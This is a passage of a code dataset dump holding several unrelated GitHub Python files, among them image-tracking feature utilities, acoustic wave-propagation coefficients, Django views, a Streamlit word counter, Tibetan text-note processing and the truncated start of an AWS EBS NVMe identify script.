\"\"\"\n function: extracts the spetialed deep features of the input images with the given model\n args:\n model - deep network to extract features\n img - image to be processed\n location - the positions and sizes of the sub-windows, can contain several locations, [x1, y1, w, h]\n input_sz - the size of the image patch to be fed to model\n layer_name -\n \"\"\"\n\n subwindow = get_subwindow(location, image, input_sz, visualize)\n visualize = False\n #if visualize:\n # tensor_show(subwindow, 10, normalize = False)\n subwindow = (torch.unsqueeze(subwindow, 0)).to(device)\n features = model(subwindow, layer_name)\n if visualize:\n feature = torch.cat(features, dim = 1)\n print('feature.shape:',feature.shape)\n heatmap = torch.sum(torch.squeeze(feature),dim = 0)\n heatmap = heatmap/torch.max(heatmap)\n print('heatmap:\\n',heatmap.shape)\n tensor_show(heatmap, 50, normalize = False, feature = True)\n return features\n\ndef get_subwindow(location, image, input_sz, visualize = True):\n \"\"\"\n args:\n location - subwindow location [x1, y1, w, h]\n image - \n input_sz - the size of the input of vgg model, [width,height]\n visualize - whether to visualize the subwindow\n \"\"\"\n size = np.array(location[2:4])\n position = np.array(location[0:2]) + size/2\n height, width = image.shape[0:2]\n\n\n x_index = (np.floor(position[0] + np.arange(1, size[0]+1) - np.ceil(size[0]/2))).astype(int)\n y_index = (np.floor(position[1] + np.arange(1, size[1]+1) - np.ceil(size[1]/2))).astype(int)\n\n #crop\n y_index = clamp(y_index, 0, height - 1)\n\n x_index = clamp(x_index, 0, width - 1)\n\n x_index, y_index = np.meshgrid(x_index, y_index)\n\n image = image[y_index, x_index, :]\n\n\n image = cv2.resize(image, tuple(input_sz), interpolation=cv2.INTER_LINEAR)\n\n if visualize:\n\n image = cv2.cvtColor(image, cv2.COLOR_RGB2BGR)\n print('show_image')\n cv2.namedWindow('input_image', cv2.WINDOW_AUTOSIZE)\n cv2.imshow('input_image', image)\n cv2.waitKey(10000)\n cv2.destroyAllWindows()\n\n\n #image transforms for matconvnet vgg model\n image = torch.tensor(image.transpose(2,0,1), dtype=torch.float)- 128\n\n return image\n\ndef clamp(index, lower, upper):\n\n for idx in range(len(index)):\n if index[idx] > upper:\n index[idx] = upper\n if index[idx] < lower:\n index[idx] = lower\n return index\n\ndef generate_patch_feature(target_size, srch_window_location, features):\n\n patch_features = []\n patch_locations = []\n\n for feature in features:\n feature_size = torch.tensor(feature.shape[-2:]).numpy()\n\n center = round_python2(feature_size/2)-1\n\n patch_size = np.floor(target_size * feature_size / srch_window_location[2:4] / 2) * 2 + 1\n\n patch_loc = np.append(center - np.floor(patch_size/2), center + np.floor(patch_size/2)).astype(int)\n\n patch_feature = feature[:,:,patch_loc[0]:patch_loc[2]+1,patch_loc[1]:patch_loc[3]+1]\n patch_features.append(patch_feature)\n patch_locations.append(patch_loc)\n visualize = False\n if visualize:\n patch_feature = torch.cat(patch_features, dim = 1)\n print('patch_feature.shape:',patch_feature.shape)\n heatmap = torch.sum(torch.squeeze(patch_feature),dim = 0)\n heatmap = heatmap/torch.max(heatmap)\n print('heatmap:\\n',heatmap.shape)\n tensor_show(heatmap, 100, normalize = False, feature = True)\n return patch_features, patch_locations\n\ndef round_python2(temp_array):\n\n re_array = []\n for i in temp_array:\n if i % 1 == 0.5:\n re_array.append(np.ceil(i))\n else:\n re_array.append(np.round(i))\n return np.array(re_array)\n\ndef features_selection(input_features, feature_weights, balance_weights, mode = 'reduction'):\n\n assert(mode in ['pca', 'sa', 'pca_sa', 'reduction']), \"mode need to be 'pca' or 'sa' or 'pca_sa' or 'reduction'\"\n target_features = []\n num_channels = 0\n if mode == 'reduction':\n for i in range(len(input_features)):\n patch_feature = input_features[i]\n feature_weight = feature_weights[i]\n target_features.append(patch_feature[:,feature_weight>0,:,:]*balance_weights[i])\n num_channels = num_channels + torch.sum(feature_weight)\n target_features = torch.cat(target_features, dim = 1)\n assert(target_features.shape[1] == num_channels), 'Something wrong happened when selecting features!'\n else:\n assert(mode == 'reduction'), \"only 'reduction' is available for now!\"\n return target_features\n\ndef feature_selection(input_feature, feature_weight, mode = 'reduction'):\n #TODO: pca, sa, pca_sa\n assert(mode in ['pca', 'sa', 'pca_sa', 'reduction']), \"mode need to be 'pca' or 'sa' or 'pca_sa' or 'reduction'\"\n return input_feature[:,feature_weight>0,:,:]\n\n\n\ndef resize_tensor(input_tensor, size, mode = 'bilinear',align_corners = False):\n \"\"\"\n function: calculate the resize of torch.Tensor\n args:\n size: tuple(height,width)\n \"\"\"\n return nn.functional.interpolate(input_tensor, size, mode = mode, align_corners = align_corners)\n\n\ndef tensor_show(tensor, time = 20,bbox = None, normalize = True, feature = False):\n\n fig,ax = plt.subplots(1,1)\n if normalize and not feature:\n ax.imshow(unnormalize(tensor))\n elif not normalize and not feature:\n ax.imshow(torch.squeeze(tensor).to('cpu').numpy().transpose((1,2,0)))\n elif feature:\n ax.imshow(torch.squeeze(tensor).to('cpu').numpy())\n if bbox is not None:\n ax.add_patch(Rectangle((bbox[0],bbox[1]),bbox[2],bbox[3],fill=False,color='g'))\n plt.ion()\n mngr = plt.get_current_fig_manager()\n mngr.window.setGeometry(100,100,800,500)\n plt.pause(time)\n plt.clf()\n plt.close()\n","repo_name":"ZikunZhou/TADT-python","sub_path":"feature_utils_v2.py","file_name":"feature_utils_v2.py","file_ext":"py","file_size_in_byte":6466,"program_lang":"python","lang":"en","doc_type":"code","stars":86,"dataset":"github-code","pt":"78"} +{"seq_id":"12567040","text":"import matplotlib.pyplot as plt\nimport numpy as np \nfrom math import pi\nimport sys\n# from netCDF4 import Dataset, date2num, num2date\nimport os\nimport scipy.linalg.lapack as la\nimport numba\nfrom numba import jit\n\n\n#--------------------------------------------------------------------------------------------------\n#--------------------------------------------------------------------------------------------------\n\n# @jit(nopython=True)\n@jit('i4,c8,f4[:],f4[:],c8[:],c8[:],f4,i4[:],i4,c8[:],i4,i4,f4[:],i4, c8[:,:], c8[:], c8[:], i4, i4, i4, i4', nopython=True,fastmath=True)\ndef coefficients_Ab_acoustic_parallel(layers,kr,Vp,Vs,lamda,mu,omega,z,dz,Force_1D,BCtop,BCbottom,rho,earth_interface, A, \n alpha_1D, Kmp, n, kl, ku, mat_size):\n \n\n c_s=np.zeros((layers*4,4),dtype=np.complex128)\n c1_s=np.zeros((layers*4,4),dtype=np.complex128)\n\n c_f=np.zeros((layers*2,2),dtype=np.complex128)\n c1_f=np.zeros((layers*2,2),dtype=np.complex128)\n\n\n\n #fluid layers coeff.\n for i in range(0,layers):\n\n Kpz=np.sqrt(Kmp[i]**2 - kr**2)\n alpha_1D[i]=1j*Kpz\n\n\n #bottom interface\n c_f[i*2,0]=alpha_1D[i]*np.exp(alpha_1D[i]*dz)\n c_f[i*2,1]=-alpha_1D[i]*np.exp(alpha_1D[i]*0)\n # c_f[i*2+1,0]=rho[i]*(omega**2)*np.exp(alpha_1D[i]*dz)\n # c_f[i*2+1,1]=rho[i]*(omega**2)*np.exp(alpha_1D[i]*0)\n c_f[i*2+1,0]=-rho[i]*(omega**2)*np.exp(alpha_1D[i]*dz)\n c_f[i*2+1,1]=-rho[i]*(omega**2)*np.exp(alpha_1D[i]*0)\n \n #top interface\n c1_f[i*2,0]=alpha_1D[i]*np.exp(alpha_1D[i]*0)\n c1_f[i*2,1]=-alpha_1D[i]*np.exp(alpha_1D[i]*dz)\n # c1_f[i*2+1,0]=rho[i]*(omega**2)*np.exp(alpha_1D[i]*0)\n # c1_f[i*2+1,1]=rho[i]*(omega**2)*np.exp(alpha_1D[i]*dz)\n c1_f[i*2+1,0]=-rho[i]*(omega**2)*np.exp(alpha_1D[i]*0)\n c1_f[i*2+1,1]=-rho[i]*(omega**2)*np.exp(alpha_1D[i]*dz)\n\n\n\n\n\n # mat_size=layers*2\n # C=np.zeros([mat_size, mat_size] , dtype=np.complex128)\n\n # n, kl, ku = len(Force), 2, 2\n # A = np.zeros((2*kl+ku+1,n),dtype=np.complex128)\n\n # A[kl + ku + 1 + ii - jj - 1, jj - 1] = C_Ab[ii-1, jj-1]\n # |\n # A[kl + ku + 1 + (posx + 1) - (posy + 1) - 1, (posy + 1) - 1] = C_Ab[posx, posy]\n # |\n # A[kl + ku + (posx) -(posy), (posy)] = C_Ab[posx, posy]\n\n #SETTING TOP BOUNDARY CONDITIONS FOR ELASTIC LAYER\n if BCtop==1:\n A[kl + ku , 0] =rho[0]*(omega**2)\n A[kl + ku -1, 1] =rho[0]*(omega**2)*np.exp(alpha_1D[0]*dz)\n elif BCtop==2:\n A[kl + ku , 0] =alpha_1D[0]*1\n A[kl + ku -1, 1] =-alpha_1D[0]*np.exp(alpha_1D[0]*dz)\n elif BCtop==3:\n A[kl + ku , 0] =2\n A[kl + ku -1, 1] =0\n\n\n\n\n\n for i in range(0,(layers-1)*2,2):\n\n A[kl + ku + 1, i] =c_f[i,0]\n A[kl + ku , i+1] =c_f[i,1]\n A[kl + ku + 2, i] =c_f[i+1,0]\n A[kl + ku + 1, i+1] =c_f[i+1,1]\n\n A[kl + ku -1, i+2] =-c1_f[i+2,0]\n A[kl + ku -2, i+3] =-c1_f[i+2,1]\n A[kl + ku , i+2] =-c1_f[i+3,0]\n A[kl + ku -1, i+3] =-c1_f[i+3,1]\n\n\n\n\n #SETTING BOTTOM BOUNDARY CONDITIONS FOR FLUID LAYER\n\n if BCbottom==1:\n A[kl + ku + 1, mat_size-2] =rho[layers-1]*(omega**2)*np.exp(alpha_1D[layers-1]*dz)\n A[kl + ku , mat_size-1] =rho[layers-1]*(omega**2)\n elif BCbottom==2:\n A[kl + ku + 1, mat_size-2] =np.exp(alpha_1D[layers-1]*dz)\n A[kl + ku , mat_size-1] =-1\n elif BCbottom==3:\n A[kl + ku + 1, mat_size-2] =0\n A[kl + ku , mat_size-1] =2\n\n\n return A,Force_1D,alpha_1D \n\n\n#--------------------------------------------------------------------------------------------------\n\n# @jit(nopython=True)\n@jit(' c8[:],i4,i4,i4,i4,i4[:],c8,f4,i4,f4[:],f4[:],c8[:],c8[:],f4[:],f4,i4,i4,i4,i4 ',nopython=True,fastmath=True)\ndef force_vec_acoustic_parallel(Force_1D, layers,S_depth,S_medium,S_type,z,kr,omega,dz,Vp,Vs,lamda,mu,rho,dK,earth_interface,Earth_depth,Ocean_depth,Atm_depth):\n\n #the force for each interface should be according to F_stress_(n+1)-F_stress_n\n #and F_disp_(n+1)-F_disp_n\n\n\n\n if S_medium==2:\n S_layer=int((Ocean_depth - S_depth)/dz)\n S_depth=Ocean_depth - S_depth\n pos=(S_layer+1)*2 -1\n\n\n elif S_medium==3:\n S_depth=Atm_depth-S_depth\n S_layer=int((Ocean_depth + Atm_depth - S_depth)/dz)\n S_depth=Ocean_depth + Atm_depth - S_depth\n pos=(S_layer +1)*2 -1\n\n\n Kmp=float(omega)/Vp[S_layer]\n Kpz=np.sqrt(Kmp**2-kr**2)\n alpha=1j*Kpz\n\n\n Force_1D[pos-2]=-1/(4*pi)*np.exp(alpha*np.abs(z[S_layer]-S_depth))\n Force_1D[pos-1]=-rho[S_layer+1]*(omega**2)/(4*pi*alpha)*np.exp(alpha*np.abs(z[S_layer]-S_depth))\n\n Force_1D[pos]=-1/(4*pi)*np.exp(alpha*np.abs(z[S_layer+1]-S_depth))\n Force_1D[pos+1]=rho[S_layer+1]*(omega**2)/(4*pi*alpha)*np.exp(alpha*np.abs(z[S_layer+1]-S_depth))\n\n\n return Force_1D/(rho[S_layer+1]*omega**2)\n\n#--------------------------------------------------------------------------------------------------\n#--------------------------------------------------------------------------------------------------","repo_name":"Gilaverbuch/SA_FFP","sub_path":"FFP_coefficients_acoustic_parallel.py","file_name":"FFP_coefficients_acoustic_parallel.py","file_ext":"py","file_size_in_byte":5057,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"31906393331","text":"from typing import List\nclass Solution:\n def fullJustify(self, words: List[str], maxWidth: int) -> List[str]:\n ret = [[]]\n temp = 0\n def change_to_str(ws,l):\n n = len(ws[-1])\n space = 0\n tempspace = 0\n if n == 1:\n space = maxWidth-l+1\n ws[-1]=ws[-1][-1]+\" \"*space\n else:\n space = (maxWidth-l+n)//(n-1)\n tempspace = (maxWidth-l+n)%(n-1)\n ret = \"\"\n for i in range(n-1):\n ret+=ws[-1][i]+\" \"*space\n if tempspace>0:\n ret+=\" \"\n tempspace-=1\n ret+=ws[-1][-1]\n ws[-1]= ret\n\n\n for word in words:\n l = len(word)\n if l+temp <= maxWidth:\n ret[-1].append(word)\n temp += l+1\n else:\n change_to_str(ret,temp)\n t = [word]\n ret.append(t)\n temp = l+1\n s=\"\"\n for w in ret[-1]:\n s+=w+\" \"\n s=s+\" \"*(maxWidth-len(s))\n ret[-1] =s[:maxWidth]\n return ret\n\nif __name__ == \"__main__\":\n b = Solution()\n a = b.fullJustify([\"This\", \"is\", \"an\", \"example\", \"of\", \"text\", \"justification.\"],16)\n print(\"=======\",a)\n a = b.fullJustify([\"What\",\"must\",\"be\",\"acknowledgment\",\"shall\",\"be\"],16)\n print(\"=======\",a)\n a = b.fullJustify([\"Science\",\"is\",\"what\",\"we\",\"understand\",\"well\",\"enough\",\"to\",\"explain\",\"to\",\"a\",\"computer.\",\"Art\",\"is\",\"everything\",\"else\",\"we\",\"do\"],20)\n print(\"=======\",a)","repo_name":"H-Maktub/leetcode","sub_path":"题库_python/68.py","file_name":"68.py","file_ext":"py","file_size_in_byte":1631,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"3602417703","text":"from django.conf.urls import patterns, include, url\n\nimport teleport\n\n# Uncomment the next two lines to enable the admin:\n# from django.contrib import admin\n# admin.autodiscover()\n\nurlpatterns = patterns('',\n url(r'^$', 'teleport.views.contacts'),\n url(r'^contacts', 'teleport.views.contacts'),\n url(r'^get_contacts', 'teleport.views.get_contacts'),\n url(r'^add_contact', 'teleport.views.add_contact'),\n url(r'^add_feed', 'teleport.views.add_feed'),\n\n url(r'^feed', 'teleport.views.feed'),\n url(r'^get_feeds', 'teleport.views.get_feeds'),\n url(r'^teleport', 'teleport.views.teleport'),\n url(r'^teletalk', 'teleport.views.teletalk'),\n\n url(r'^get_session', 'teleport.views.get_session'),\n url(r'^get_token', 'teleport.views.get_token'),\n\n url(r'^login', 'teleport.views.login'),\n url(r'^register', 'teleport.views.register'),\n url(r'^settings', 'teleport.views.settings'),\n url(r'^update_settings', 'teleport.views.update_settings'),\n url(r'^invite_email', 'teleport.views.invite_email'),\n url(r'^logout', 'teleport.views.logout'),\n)\n","repo_name":"anantb/teleport","sub_path":"server/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1084,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"25323858353","text":"import streamlit as st\nimport pandas as pd\nimport plotly.express as px\n\nfrom string import punctuation\n\nst.title(\"WORD counter\")\nuser_inp = st.text_area(\"Put some text here\",height=200)\nbtn = st.button('show graph')\nchoice = st.sidebar.checkbox('view data table')\n\nif btn:\n clean_inp = ''\n for i in user_inp.lower():\n if i not in punctuation:\n clean_inp += i\n \n # count words\n words = clean_inp.split()\n count_data = {}\n for word in words:\n if word in count_data:\n count_data[word] += 1\n else:\n count_data[word] = 1\n # convert it into meaning table\n result = pd.DataFrame([count_data]).T\n result.columns=['count']\n result.sort_index(inplace=True)\n fig = px.bar(result,x=result.index, y='count')\n st.plotly_chart(fig)\n \n if choice:\n st.write(result)\n","repo_name":"zaid-kamil/python_for_arkin","sub_path":"webapps/word_counter.py","file_name":"word_counter.py","file_ext":"py","file_size_in_byte":859,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"394291553","text":"# Problem 16\n# Power digit sum\n# 2**15 = 32768 and the sum of its digits is 3 + 2 + 7 + 6 + 8 = 26.\n# What is the sum of the digits of the number 2**1000?\ndef problem16(power=1000):\n result = str(2**power)\n total = 0\n for index in result:\n total += int(index)\n return total\nprint(problem16())\n# answer = 1366\n","repo_name":"karacabay/Project-Euler-Solutions","sub_path":"problem16.py","file_name":"problem16.py","file_ext":"py","file_size_in_byte":328,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"22113389084","text":"from collections import defaultdict\nfrom PyTib.common import open_file, write_file, pre_process, de_pre_process\nimport PyTib\nimport copy\nimport re\n\nseg = PyTib.Segment()\ncollection_eds = ['སྡེ་', 'ཅོ་', 'པེ་', 'སྣར་']\n\n\ndef open_csv(path):\n raw = open_file(path).split('\\n')\n legend = raw[0].split(',')\n del raw[0]\n raw = '\\n'.join(raw)\n return legend, raw\n\n\ndef write_profiles(notes, dir):\n '''\n\n :param notes: must be of this structure to work {type1: [{ed1: conc, edN: con}, {ed1: conc, edN: con}], typeN: [{ed1: conc, edN: con}, {ed1: conc, edN: con}]}\n :return: writes files to the given directory\n '''\n # format the data\n total = {}\n for profile in notes:\n error_types = []\n total_notes = []\n for note in notes[profile]:\n out = []\n for ed in collection_eds:\n out.append('{}༽ {}\\n'.format(ed, note[ed]))\n out.append('{}༽ {}\\n'.format('type', note['type']))\n error_types.append(note['type'])\n total_notes.append(out)\n # sorting by error type\n total_notes = sorted(total_notes, key=lambda x: x[-1])\n\n # merging the parts of each note\n for i in range(len(total_notes)):\n total_notes[i] = ''.join(total_notes[i])\n\n # counting how many entries by type\n types_num = defaultdict(int)\n for t in set(error_types):\n for error in error_types:\n if error == t:\n types_num[t] += 1\n stats = ''\n stats += 'Total notes: {}\\n'.format(str(len(total_notes)))\n for type in sorted(types_num, key=lambda x: types_num[x], reverse=True):\n stats += '{}: {}\\n'.format(type, types_num[type])\n\n total[profile] = stats + '\\n'.join(total_notes)\n # write them in files\n for t in total:\n write_file('./{}/{}.txt'.format(dir, t), total[t])\n\n\ndef write_types(notes, dir):\n '''\n\n :param notes: must be of this structure to work {type1: [{ed1: conc, edN: con}, {ed1: conc, edN: con}], typeN: [{ed1: conc, edN: con}, {ed1: conc, edN: con}]}\n :return: writes files to the given directory\n '''\n # format the data\n total = {}\n for type in notes:\n total_notes = []\n for note in notes[type]:\n out = []\n for ed in collection_eds:\n out.append('{}༽ {}\\n'.format(ed, note[ed]))\n total_notes.append('\\n'.join(out))\n total[type] = '\\n'.join(total_notes)\n\n # write them in files\n def write(total):\n for t in total:\n write_file('./{}/{}.txt'.format(dir, t), total[t])\n\n write(total)\n\n\ndef prepare_data(raw, legend):\n notes = defaultdict(list)\n for note in raw.split('---')[1:]:\n parts = note.split('\\n')\n type = ''\n for num, p in enumerate(parts[0].split(',')):\n if p == 'x':\n type = legend[num]\n eds = {}\n for e in range(1, 5):\n ed = parts[e].split(':')[0]\n text = parts[e].split(',')[0].split(': ')[1]\n eds[ed] = text\n notes[type].append(eds)\n return notes\n\n\ndef note_types(notes):\n percents = []\n total = 0\n types = []\n for n in notes:\n occs = len(notes[n])\n types.append((n, occs))\n total += occs\n for t in sorted(types, key=lambda x: x[1], reverse=True):\n percent = t[1] * 100 / total\n percents.append('{:02.2f}% ({})\\t{}'.format(percent, t[1], t[0]))\n return 'Total types: {}\\n{}'.format(total, '\\n'.join(percents))\n\n\ndef find_profiles(data):\n profiles = defaultdict(list)\n for type in data:\n for note in data[type]:\n groups = defaultdict(list)\n for n in note.keys():\n groups[note[n]].append(n)\n profile = ['='.join(sorted(groups[a])) for a in groups]\n profile = ' '.join(sorted(profile))\n typed_note = note\n typed_note['type'] = type\n profiles[profile].append(typed_note)\n return profiles\n\n\ndef note_indexes(note):\n def side_indexes(note, extremity):\n # copy to avoid modifying directly the note\n note_conc = copy.deepcopy(note)\n # dict for the indexes of each edition\n indexes = {t: 0 for t in collection_eds}\n # initiate the indexes values to the lenght of syllables for the right context\n if extremity == -1:\n for i in indexes:\n indexes[i] = len(note_conc[i])\n #\n side = True\n while side and side and len(note_conc[collection_eds[0]]) > 0:\n # fill syls[] with the syllables of the extremity for each edition\n syls = []\n for n in note_conc:\n syls.append(note_conc[n][extremity])\n # check wether the syllables are identical or not. yes: change index accordingly no: stop the while loop\n if len(set(syls)) == 1:\n for n in note_conc:\n # change indexes\n if extremity == 0:\n indexes[n] += 1\n if extremity == -1:\n indexes[n] -= 1\n # delete the identical syllables of all editions\n del note_conc[n][extremity]\n else:\n side = False\n return indexes\n\n left, right = 0, -1\n l_index = side_indexes(note, left)\n r_index = side_indexes(note, right)\n combined_indexes = {ed: {'left': l_index[ed], 'right': r_index[ed]} for ed in l_index}\n return combined_indexes\n\n\ndef segment_space_on_particles(string):\n global seg\n\n def contains_punct(string):\n # put in common\n if '༄' in string or '༅' in string or '༆' in string or '༇' in string or '༈' in string or \\\n '།' in string or '��' in string or '༏' in string or '༐' in string or '༑' in string or \\\n '༔' in string:\n return True\n else:\n return False\n\n segmented = [a + '་' if not a.endswith('་') else a for a in seg.segment(string, syl_segmented=1, unknown=0).split('་ ')]\n # taking back the tsek on last syllable if string didn’t have one\n if not string.endswith('་') and segmented[-1].endswith('་'):\n segmented[-1] = segmented[-1][:-1]\n out = []\n for s in segmented:\n if contains_punct(s):\n regex = ''.join({c for c in s if contains_punct(c)})\n splitted = [a for a in re.split(r'([{0}]*[^ ]*[{0}]*)'.format(regex), s) if a != '']\n well_split = []\n word = ''\n for sp in splitted:\n if contains_punct(sp):\n well_split.append(word.strip())\n well_split.append(sp)\n word = ''\n else:\n word += sp\n well_split.append(word.strip())\n out.extend(well_split)\n else:\n out.append(s)\n return out\n\n\ndef extract_note_text(note):\n for t in note:\n note[t] = segment_space_on_particles(note[t])\n\n indexes = note_indexes(note)\n notes = {}\n for t in note:\n left = indexes[t]['left']\n right = indexes[t]['right']\n note_text = note[t][left:right]\n note_text = de_pre_process(note_text)\n notes[t] = note_text\n return notes\n\n\ndef generate_stats(data):\n # how many mistakes of each type\n write_types(data, dir='error_types')\n write_file('total_stats.txt', note_types(data))\n\n # find all combinations of note differences and put together with the type\n profiles = find_profiles(data)\n write_profiles(profiles, dir='profiles')\n\n\ndef find_category(data, category, out_dir='note_categories'):\n # find all notes from a given category and write it to a csv file\n category_total = []\n for d in data[category]:\n note = copy.deepcopy(d)\n notes = extract_note_text(note)\n category_total.append(notes)\n\n csv = ''\n csv += '\\t'.join([a for a in category_total[0]])+'\\n'\n for note in category_total:\n for n in note:\n csv += note[n]+'\\t'\n csv += '\\n'\n write_file('./{}/{}.csv'.format(out_dir, category), csv)\n\n\ndef find_categories(data, categories):\n for category in categories:\n find_category(data, category)\n\n\nif __name__ == '__main__':\n # prepare the structure\n legend, raw = open_csv('./chonjuk - Feuille 1.csv')\n data = prepare_data(raw, legend)\n\n # process\n generate_stats(copy.deepcopy(data))\n\n categories = ['min mod', 'tense']\n find_categories(data, categories)","repo_name":"drupchen/sandbox","sub_path":"kangyur_notes_reinsertion/output/manual_conc/csv_parse.py","file_name":"csv_parse.py","file_ext":"py","file_size_in_byte":8627,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"21323069904","text":"from django.shortcuts import render, redirect\n\n# Create your views here.\n\nfrom django.http import HttpResponse, JsonResponse\nfrom store.models.product import Product\nfrom store.models.category import Category\nfrom store.models.customer import Customer\nfrom store.models.comments import Comment\nfrom store.models.oreders import Order\nfrom django.views import View # import for class based views\n\n\nclass RateReview(View):\n\n # product id obtain by dynamic URL\n def get(self, request,productID):\n\n comments = Comment.get_Comment(productID)\n data = {}\n data['ProductID'] = productID\n if comments:\n data['Comments'] = comments\n\n print(comments)\n return render(request, 'RateReview.html', data)\n\n\n def post(self, request):\n\n # --- getting deatails from html thro Ajax----\n name = None\n status =\"save\"\n currentCustomer=None\n msg = request.POST.get('msg')\n pid = request.POST.get('PID')\n\n\n Products = Product.get_all_products_by_id(pid)\n\n mail = request.session.get('customer_email')\n if mail:\n currentCustomer = Customer.get_customer_by_mail(mail)\n if currentCustomer:\n name = currentCustomer.first_name + \" \" + currentCustomer.last_name\n # Saving the Data to DataBase\n\n for P in Products:\n if str(pid) == str(P.id):\n myProdcut = P\n\n comment = Comment(product=myProdcut,\n productID=pid,\n customerName=name,\n customer=currentCustomer,\n comment=msg)\n Comment.addComment(comment)\n else:\n status= \"error\"\n\n\n # Updating on Post\n comments = Comment.get_Comment(pid).values()\n commentsData = list(comments)\n return JsonResponse({'status':status, 'CommentsData':commentsData})","repo_name":"shahab627/EcomerceDJango","sub_path":"store/views/comment.py","file_name":"comment.py","file_ext":"py","file_size_in_byte":2004,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"34820411216","text":"#!/usr/bin/env python\r\n# -*- coding:utf-8 -*-\r\n'''\r\nCreated on 2017\r\n\r\n@author: li.taojun\r\n'''\r\n\r\nimport json\r\n\r\n\r\n#检查首页响应数据json格式及返回码\r\ndef checkHomepageFormat(resphome):\r\n sign = False\r\n rspkey = ['code','data','message']\r\n datakey = ['position','activities']\r\n keynext = [\r\n 'position','listOrder','picPath','activityId','title','subhead','activityStartTime',\r\n 'activityStartTimeStr','activityEndTime','activityEndTimeStr','activityAddress','originalPrice','point',\r\n 'minPrice','skuNumber','status','displayType','sellingStartTime','sellingEndTime'\r\n ]\r\n keynextkey = {\r\n \"01\":[\r\n 'position','listOrder','picPath','activityId','title','subhead','activityStartTime',\r\n 'activityStartTimeStr','activityEndTime','activityEndTimeStr','activityAddress','originalPrice','point',\r\n 'minPrice','skuNumber','status','displayType','sellingStartTime','sellingEndTime'\r\n ],\r\n \"02\":[\r\n \r\n ],\r\n \"03\":[\r\n \r\n ],\r\n \"04\":[\r\n \r\n ]\r\n }\r\n resphomepage = resphome.text\r\n if resphomepage is not None and resphomepage != \"\":\r\n print(\"resphomepage = \" +resphomepage)\r\n homejson = json.loads(resphomepage)\r\n hoemkeys = homejson.keys()\r\n if set(hoemkeys) == set(rspkey):\r\n #if \"code\" in hoemkeys and \"data\" in hoemkeys:\r\n datajsonlist = homejson.get(\"data\")\r\n if datajsonlist is not None and len(datajsonlist)>0:\r\n datakeysAct = datajsonlist[0].keys()\r\n if sorted(datakeysAct) == sorted(datakey):\r\n keynextact = datajsonlist[0].get(\"activities\")[0].keys()\r\n if set(keynext) == set(keynextact):\r\n sign = True\r\n return sign\r\n\r\n#获取首页响应消息返回码\r\ndef getHomeRspCode(resphome):\r\n rspcode = None\r\n resphomepage = resphome.text\r\n if resphomepage is not None and resphomepage != \"\":\r\n homejson = json.loads(resphomepage)\r\n if homejson.has_key(\"code\"):\r\n rspcode = homejson.get(\"code\")\r\n return rspcode\r\n\r\n\r\nclass Testmem():\r\n a = 1\r\n b = \"litaojun\"\r\n \r\n def __init__(self,m,n):\r\n a = m\r\n b = n\r\n def __eq__(self,t):\r\n return True\r\n def __hash__(self):\r\n return hash(self.b)\r\n \r\nif __name__ == '__main__':\r\n t1 = Testmem(2,\"test\")\r\n t2 = Testmem(2,\"test\")\r\n a = ['code','data','message',(1,2,3),t1]\r\n b = ['code','data','message',(1,2,3),t2]\r\n c = ['data','code','message',(1,2,3),t1]\r\n x = {t1:\"aaa\"}\r\n print( x[t1])\r\n if a == b:\r\n print(\"scu\")\r\n else:\r\n print(\"err\")\r\n if c == b:\r\n print(\"scu\")\r\n else:\r\n print(\"err\")\r\n if set(c) == set(b):\r\n print(\"scu\")\r\n else:\r\n print(\"err\")","repo_name":"litaojun/uopinterfacetest","sub_path":"uopweixin/homepage/homepagecpr.py","file_name":"homepagecpr.py","file_ext":"py","file_size_in_byte":3199,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"23713258510","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nfrom ctypes import *\nfrom fcntl import ioctl\nfrom pathlib import Path\nimport json\nimport os\nimport subprocess\n\nfrom ansible.module_utils.basic import *\n\nmodule = AnsibleModule(argument_spec=dict(\n config=dict(required=True, type='list'),\n))\n\n\nNVME_ADMIN_IDENTIFY = 0x06\nNVME_IOCTL_ADMIN_CMD = 0xC0484E41\nAMZN_NVME_VID = 0x1D0F\nAMZN_NVME_EBS_MN = \"Amazon Elastic Block Store\"\n\nclass nvme_admin_command(Structure):\n _pack_ = 1\n _fields_ = [(\"opcode\", c_uint8), # op code\n (\"flags\", c_uint8), # fused operation\n (\"cid\", c_uint16), # command id\n (\"nsid\", c_uint32), # namespace id\n (\"reserved0\", c_uint64),\n (\"mptr\", c_uint64), # metadata pointer\n (\"addr\", c_uint64), # data pointer\n (\"mlen\", c_uint32), # metadata length\n (\"alen\", c_uint32), # data length\n (\"cdw10\", c_uint32),\n (\"cdw11\", c_uint32),\n (\"cdw12\", c_uint32),\n (\"cdw13\", c_uint32),\n (\"cdw14\", c_uint32),\n (\"cdw15\", c_uint32),\n (\"reserved1\", c_uint64)]\n\nclass nvme_identify_controller_amzn_vs(Structure):\n _pack_ = 1\n _fields_ = [(\"bdev\", c_char * 32), # block device name\n (\"reserved0\", c_char * (1024 - 32))]\n\nclass nvme_identify_controller_psd(Structure):\n _pack_ = 1\n _fields_ = [(\"mp\", c_uint16), # maximum power\n (\"reserved0\", c_uint16),\n (\"enlat\", c_uint32), # entry latency\n (\"exlat\", c_uint32), # exit latency\n (\"rrt\", c_uint8), # relative read throughput\n (\"rrl\", c_uint8), # relative read latency\n (\"rwt\", c_uint8), # relative write throughput\n (\"rwl\", c_uint8), # relative write latency\n (\"reserved1\", c_char * 16)]\n\nclass nvme_identify_controller(Structure):\n _pack_ = 1\n _fields_ = [(\"vid\", c_uint16), # PCI Vendor ID\n (\"ssvid\", c_uint16), # PCI Subsystem Vendor ID\n (\"sn\", c_char * 20), # Serial Number\n (\"mn\", c_char * 40), # Module Number\n (\"fr\", c_char * 8), # Firmware Revision\n (\"rab\", c_uint8), # Recommend Arbitration 